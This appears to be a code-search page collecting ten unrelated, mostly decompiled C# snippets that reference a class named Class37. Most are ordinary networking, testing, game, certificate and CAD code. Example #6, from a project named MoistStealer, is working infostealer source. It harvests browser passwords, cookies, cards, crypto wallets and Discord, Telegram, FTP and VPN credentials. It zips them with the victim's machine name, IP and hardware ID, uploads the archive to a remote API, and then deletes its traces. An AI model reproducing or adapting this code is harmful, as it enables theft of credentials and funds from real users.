コード例 #1
0
ファイル: BaseTcpEngine.cs プロジェクト: jollitycn/JGNet
    private void OnPostMessageCallback(IAsyncResult iasyncResult_0)
    {
        Class37 asyncState = (Class37)iasyncResult_0.AsyncState;

        asyncState.method_0().imethod_15();
        try
        {
            if (!asyncState.method_0().imethod_6())
            {
                asyncState.method_0().GetStream().EndWrite(iasyncResult_0);
                this.eventSafeTrigger_0.Action <IPEndPoint, IMessageHandler>("MessageSent", this.MessageSent, asyncState.method_0().GetIPEndPoint(), asyncState.method_2());
            }
        }
        catch (Exception exception)
        {
            if ((exception is IOException) || (exception is ObjectDisposedException))
            {
                this.OnSomeOneDisconnected(asyncState.method_0(), DisconnectedType.NetworkInterrupted);
            }
            else
            {
                this.emptyAgileLogger_0.Log(exception, "CJFramework.Engine.Tcp.Server.BaseTcpEngine.OnPostMessageCallback", ErrorLevel.High);
            }
        }
    }
コード例 #2
0
 // Token: 0x060012F7 RID: 4855 RVA: 0x000046F5 File Offset: 0x000028F5
 internal void method_17(object object_0, Class37 class37_0)
 {
     if (this.delegate132_0 != null)
     {
         this.delegate132_0(object_0, class37_0);
     }
 }
コード例 #3
0
 // Token: 0x0600016C RID: 364 RVA: 0x0000384F File Offset: 0x00001A4F
 public static Type smethod_0(Type type_0)
 {
     if (!type_0.IsByRef && !type_0.IsArray && !type_0.IsPointer)
     {
         return(type_0);
     }
     return(Class37.smethod_0(type_0.GetElementType()));
 }
コード例 #4
0
        public void Test2()
        {
            int[] expected   = new int[] { 1, 2 };
            var   linkedList = new LinkedList();

            linkedList.AppendNodes(new List <Node>()
            {
                new Node(null, 2),
                new Node(null, 1)
            });
            var result = Class37.EvenOddLinkedList(linkedList);

            Assert.Equal(expected, result);
        }
コード例 #5
0
        public static EventTimer TimeEvent_ClanWarp(NetUser netUser, string Command, double time, ClanData clan)
        {
            Class37 class2 = new Class37 {
                netUser_0  = netUser,
                string_0   = Command,
                clanData_0 = clan
            };

            if (time <= 0.0)
            {
                Teleport_ClanWarp(null, class2.netUser_0, class2.string_0, class2.clanData_0);
                return(null);
            }
            EventTimer timer = new EventTimer {
                Interval  = time * 1000.0,
                AutoReset = false
            };

            timer.Elapsed += new ElapsedEventHandler(class2.method_0);
            timer.Sender   = class2.netUser_0;
            timer.Command  = class2.string_0;
            timer.Start();
            return(timer);
        }
コード例 #6
0
ファイル: Stealer.cs プロジェクト: x1234xx/MoistStealer
 public static void GetStealer()
 {
     try
     {
         Directory.CreateDirectory(Help.Moist_Dir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
         File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
         GetFiles.Inizialize(Help.Moist_Dir);
         Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
         try
         {
             Class4.smethod_0(Help.Cookies);
         }
         catch
         {
         }
         try
         {
             Class4.PlqfdbrYf(Help.Passwords);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_2(Help.Autofills);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_3(Help.Downloads);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_4(Help.History);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_1(Help.Cards);
         }
         catch
         {
         }
         try
         {
             Class12.smethod_2();
         }
         catch
         {
         }
         try
         {
             Class12.smethod_3();
         }
         catch
         {
         }
         try
         {
             Class25.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class15.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class24.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class23.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class20.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             TGrabber.Start(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class14.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class21.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class13.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class22.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class16.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class17.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class37.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             DomainDetect.Start(Help.Browsers);
         }
         catch
         {
         }
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.HWID,
             Help.smethod_0(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.CompressionLevel = 9;
             zipFile.Comment          = string.Concat(new string[]
             {
                 "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
                 Environment.MachineName,
                 "/",
                 Environment.UserName,
                 "\nIP: ",
                 Help.IP,
                 Help.Country(),
                 "\nHWID: ",
                 Help.HWID
             });
             zipFile.AddDirectory(Help.Moist_Dir ?? "");
             zipFile.Save(text ?? "");
         }
         string text2 = text ?? "";
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             "?id=",
             Class1.string_0,
             "&caption=",
             "⚡️ Moist Stealer Gate detected new log! ⚡️\n",
             "\ud83d\udd25 User: "******"/",
             Environment.UserName,
             " \ud83d\udd25\n",
             "\ud83c\udf0d IP: " + Help.IP,
             " ",
             Help.Country(),
             "\n\n",
             string.Concat(new string[]
             {
                 "\n\ud83c\udf10 Browsers Data\nPasswords: ",
                 (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
                 "\nCookies: ",
                 (Class4.int_3 + Class12.int_0).ToString(),
                 "\nHistory: ",
                 Class4.int_4.ToString(),
                 "\nAutofill: ",
                 Class4.int_1.ToString(),
                 "\nCC:  ",
                 Class4.int_5.ToString(),
                 "\n"
             }),
             string.Concat(new string[]
             {
                 "\n\ud83d\udcb6 Wallets: ",
                 (Class37.int_0 > 0) ? "Yes" : "No",
                 (Class31.int_0 > 0) ? " Electrum" : "",
                 (Class26.int_0 > 0) ? " Armory" : "",
                 (Class27.int_0 > 0) ? " Atomic" : "",
                 (Class28.int_0 > 0) ? " BitcoinCore" : "",
                 (Class29.int_0 > 0) ? " Bytecoin" : "",
                 (Class30.int_0 > 0) ? " DashCore" : "",
                 (Class32.int_0 > 0) ? " Ethereum" : "",
                 (Class33.int_0 > 0) ? " Exodus" : "",
                 (Class35.int_0 > 0) ? " LitecoinCore" : "",
                 (Class36.int_0 > 0) ? " Monero" : "",
                 (Class38.int_0 > 0) ? " Zcash" : "",
                 (Class34.int_0 > 0) ? " Jaxx" : "",
                 "\n\n\ud83e\uddf2 Grabbed files: ",
                 GetFiles.count.ToString(),
                 "\n\ud83d\udcac Discord: ",
                 (Class14.int_0 > 0) ? "Yes" : "No",
                 "\n\ud83d\udee9 Telegram: ",
                 (TGrabber.count > 0) ? "Yes" : "No",
                 "\n\ud83d\udca1 Jabber: ",
                 (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
                 (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
                 (Class20.int_0 > 0) ? " Psi" : "",
                 "\n\n\ud83d\udce1 FTP\nFileZilla: ",
                 (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
                 "\nTotalCmd: ",
                 (Class17.int_0 > 0) ? "Yes" : "No",
                 "\n\n⚖️ VPN\nNordVPN: ",
                 (Class23.int_0 > 0) ? "Yes" : "No",
                 "\nOpenVPN: ",
                 (Class24.int_0 > 0) ? "Yes" : "No",
                 "\nProtonVPN: ",
                 (Class25.int_0 > 0) ? "Yes" : "No",
                 "\n\nHWID: ",
                 Help.HWID,
                 "\n⚙️ ",
                 Class22.smethod_4(),
                 "\n\ud83d\udd0e Domain detect",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
         Directory.Delete(Help.dir + "\\", true);
         File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
     }
     catch
     {
     }
 }
コード例 #7
0
            private X509Certificate2 method_0(string string_1, bool bool_0, bool bool_1)
            {
                Class36 class3 = new Class36
                {
                    string_0  = string_1,
                    bool_0    = bool_0,
                    class35_0 = this
                };

                if (bool_1 && (Thread.CurrentThread.GetApartmentState() != ApartmentState.MTA))
                {
                    Class37 class2 = new Class37
                    {
                        class36_0 = class3
                    };
                    if (CONFIG.bDebugCertificateGeneration)
                    {
                        FiddlerApplication.Log.LogFormat("/Fiddler.CertMaker> Caller was in ApartmentState: {0}; hopping to Threadpool", new object[] { Thread.CurrentThread.GetApartmentState().ToString() });
                    }
                    class2.x509Certificate2_0 = null;
                    class2.manualResetEvent_0 = new ManualResetEvent(false);
                    ThreadPool.QueueUserWorkItem(new WaitCallback(class2.method_0));
                    class2.manualResetEvent_0.WaitOne();
                    class2.manualResetEvent_0.Close();
                    return(class2.x509Certificate2_0);
                }
                string str = string.Format("CN={0}{1}", class3.string_0, CONFIG.sMakeCertSubjectO);

                if (CONFIG.bDebugCertificateGeneration)
                {
                    FiddlerApplication.Log.LogFormat("/Fiddler.CertMaker> Invoking CertEnroll for Subject: {0}; Thread's ApartmentState: {1}", new object[] { str, Thread.CurrentThread.GetApartmentState().ToString() });
                }
                string           stringPref  = FiddlerApplication.Prefs.GetStringPref(class3.bool_0 ? "fiddler.certmaker.ce.Root.SigAlg" : "fiddler.certmaker.ce.EE.SigAlg", "SHA256");
                int              num         = -FiddlerApplication.Prefs.GetInt32Pref("fiddler.certmaker.GraceDays", 0x16e);
                int              num2        = FiddlerApplication.Prefs.GetInt32Pref("fiddler.certmaker.ValidDays", 0x721);
                X509Certificate2 certificate = null;

                try
                {
                    if (class3.bool_0)
                    {
                        int num3 = FiddlerApplication.Prefs.GetInt32Pref("fiddler.certmaker.ce.Root.KeyLength", 0x800);
                        certificate = this.method_1(true, class3.string_0, str, num3, stringPref, DateTime.Now.AddDays((double)num), DateTime.Now.AddDays((double)num2), null);
                    }
                    else
                    {
                        int num4 = FiddlerApplication.Prefs.GetInt32Pref("fiddler.certmaker.ce.EE.KeyLength", 0x800);
                        certificate = this.method_1(false, class3.string_0, str, num4, stringPref, DateTime.Now.AddDays((double)num), DateTime.Now.AddDays((double)num2), this.icertificateProvider3_0.GetRootCertificate());
                    }
                    if (CONFIG.bDebugCertificateGeneration)
                    {
                        FiddlerApplication.Log.LogFormat("/Fiddler.CertMaker> Finished CertEnroll for '{0}'. Returning {1}", new object[] { str, (certificate != null) ? "cert" : "null" });
                    }
                    return(certificate);
                }
                catch (Exception exception)
                {
                    FiddlerApplication.Log.LogFormat("!ERROR: Failed to generate Certificate using CertEnroll. {0}", new object[] { Utilities.GetExceptionInfo(exception) });
                }
                return(null);
            }
コード例 #8
0
    public void method_0()
    {
        Point3d first = this.object_0[0];

        (from Point3d point in this.object_0
         orderby Class37.smethod_0(first, point)
         select point).ToArray <Point3d>();
        Class38 @class = new Class38(this.object_0);

        @class.method_0();
        Point3dCollection point3dCollection_ = @class.point3dCollection_1;
        List <Line>       list = new List <Line>();

        list.Add(new Line(point3dCollection_[0], point3dCollection_[1]));
        int i = 0;

        checked
        {
            while (i < list.Count)
            {
                double num  = -1.0;
                bool   flag = false;
                int    num2 = 0;
                int    j    = 0;
                while (j < this.object_0.Count)
                {
                    if (Class37.smethod_1(this.object_0[j], list[i].StartPoint, list[i].EndPoint))
                    {
                        double num3 = Class37.smethod_2(this.object_0[j], list[i].StartPoint, list[i].EndPoint);
                        if (num3 > num)
                        {
                            num  = num3;
                            num2 = j;
                        }
                        flag = true;
                    }
                    Math.Max(Interlocked.Increment(ref j), j - 1);
                }
                if (flag)
                {
                    Line line  = new Line();
                    Line line2 = new Line();
                    line.StartPoint = list[i].StartPoint;
                    line.EndPoint   = this.object_0[num2];
                    bool flag2 = false;
                    int  k     = 0;
                    while (k < list.Count)
                    {
                        bool flag3 = (line.StartPoint == list[k].StartPoint && line.EndPoint == list[k].EndPoint) || (line.EndPoint == list[k].StartPoint && line.StartPoint == list[k].EndPoint);
                        flag2 = (flag2 || flag3);
                        Math.Max(Interlocked.Increment(ref k), k - 1);
                    }
                    if (!flag2)
                    {
                        list.Add(line);
                    }
                    line2.StartPoint = this.object_0[num2];
                    line2.EndPoint   = list[i].EndPoint;
                    k = 0;
                    while (k < list.Count)
                    {
                        bool flag4 = (line2.StartPoint == list[k].StartPoint && line2.EndPoint == list[k].EndPoint) || (line2.EndPoint == list[k].StartPoint && line2.StartPoint == list[k].EndPoint);
                        flag2 = (flag2 || flag4);
                        Math.Max(Interlocked.Increment(ref k), k - 1);
                    }
                    if (!flag2)
                    {
                        list.Add(line2);
                    }
                }
                Math.Max(Interlocked.Increment(ref i), i - 1);
            }
            try
            {
                foreach (Line e in list)
                {
                    CAD.AddEnt(e);
                }
            }
            finally
            {
                List <Line> .Enumerator enumerator;
                ((IDisposable)enumerator).Dispose();
            }
        }
    }
コード例 #9
0
    // Token: 0x06000148 RID: 328 RVA: 0x0000F174 File Offset: 0x0000D374
    public static Class80 smethod_1(object object_0, Type type_0)
    {
        Class80 @class = object_0 as Class80;

        if (@class != null)
        {
            return(@class);
        }
        if (type_0 == null)
        {
            if (object_0 == null)
            {
                return(new Class90());
            }
            type_0 = object_0.GetType();
        }
        type_0 = Class37.smethod_1(type_0);
        if (type_0 == Class175.type_0)
        {
            @class = new Class90();
            if (object_0 != null && object_0.GetType() != Class175.type_0)
            {
                @class.method_1(object_0.GetType());
            }
        }
        else if (Class29.smethod_0 <Array>(type_0))
        {
            @class = new Class93();
        }
        else if (Class29.smethod_0 <string>(type_0))
        {
            @class = new Class96();
        }
        else if (Class29.smethod_0 <IntPtr>(type_0))
        {
            @class = new Class99();
        }
        else if (Class29.smethod_0 <UIntPtr>(type_0))
        {
            @class = new Class83();
        }
        else if (Class29.smethod_0 <ulong>(type_0))
        {
            @class = new Class89();
        }
        else if (Class29.smethod_0 <uint>(type_0))
        {
            @class = new Class92();
        }
        else if (Class29.smethod_0 <ushort>(type_0))
        {
            @class = new Class87();
        }
        else if (Class29.smethod_0 <long>(type_0))
        {
            @class = new Class82();
        }
        else if (Class29.smethod_0 <int>(type_0))
        {
            @class = new Class98();
        }
        else if (Class29.smethod_0 <short>(type_0))
        {
            @class = new Class94();
        }
        else if (Class29.smethod_0 <byte>(type_0))
        {
            @class = new Class88();
        }
        else if (Class29.smethod_0 <sbyte>(type_0))
        {
            @class = new Class85();
        }
        else if (Class29.smethod_0 <double>(type_0))
        {
            @class = new Class86();
        }
        else if (Class29.smethod_0 <float>(type_0))
        {
            @class = new Class91();
        }
        else if (Class29.smethod_0 <bool>(type_0))
        {
            @class = new Class97();
        }
        else if (Class29.smethod_0 <char>(type_0))
        {
            @class = new Class81();
        }
        else if (Class175.smethod_0(type_0))
        {
            Class90 class2 = new Class90();
            class2.method_1(type_0);
            @class = class2;
        }
        else
        {
            if (Class29.smethod_0 <Enum>(type_0))
            {
                Enum enum_;
                if (object_0 == null)
                {
                    if (type_0 == Class175.type_2)
                    {
                        enum_ = null;
                    }
                    else
                    {
                        enum_ = (Enum)Activator.CreateInstance(type_0);
                    }
                }
                else if (type_0 == Class175.type_2 && object_0 is Enum)
                {
                    enum_ = (Enum)object_0;
                }
                else
                {
                    enum_ = (Enum)Enum.ToObject(type_0, object_0);
                }
                return(new Class84(enum_));
            }
            if (Class29.smethod_0 <ValueType>(type_0))
            {
                if (object_0 == null)
                {
                    object object_;
                    if (type_0 == Class175.type_3)
                    {
                        object_ = null;
                    }
                    else
                    {
                        object_ = Activator.CreateInstance(type_0);
                    }
                    @class = new Class107(object_);
                }
                else
                {
                    if (object_0.GetType() != type_0)
                    {
                        try
                        {
                            object_0 = Convert.ChangeType(object_0, type_0);
                        }
                        catch
                        {
                        }
                    }
                    @class = new Class107(object_0);
                }
                return(@class);
            }
            @class = new Class90();
        }
        if (object_0 != null)
        {
            @class.vmethod_1(object_0);
        }
        return(@class);
    }
コード例 #10
0
        // Token: 0x06001445 RID: 5189 RVA: 0x00024DB0 File Offset: 0x00022FB0
        public void Click(short nButton, short nShiftState, int fX, int fY)
        {
            Class37 class37_ = new Class37(nButton, nShiftState, fX, fY);

            this.class24_0.method_17(this.class24_0, class37_);
        }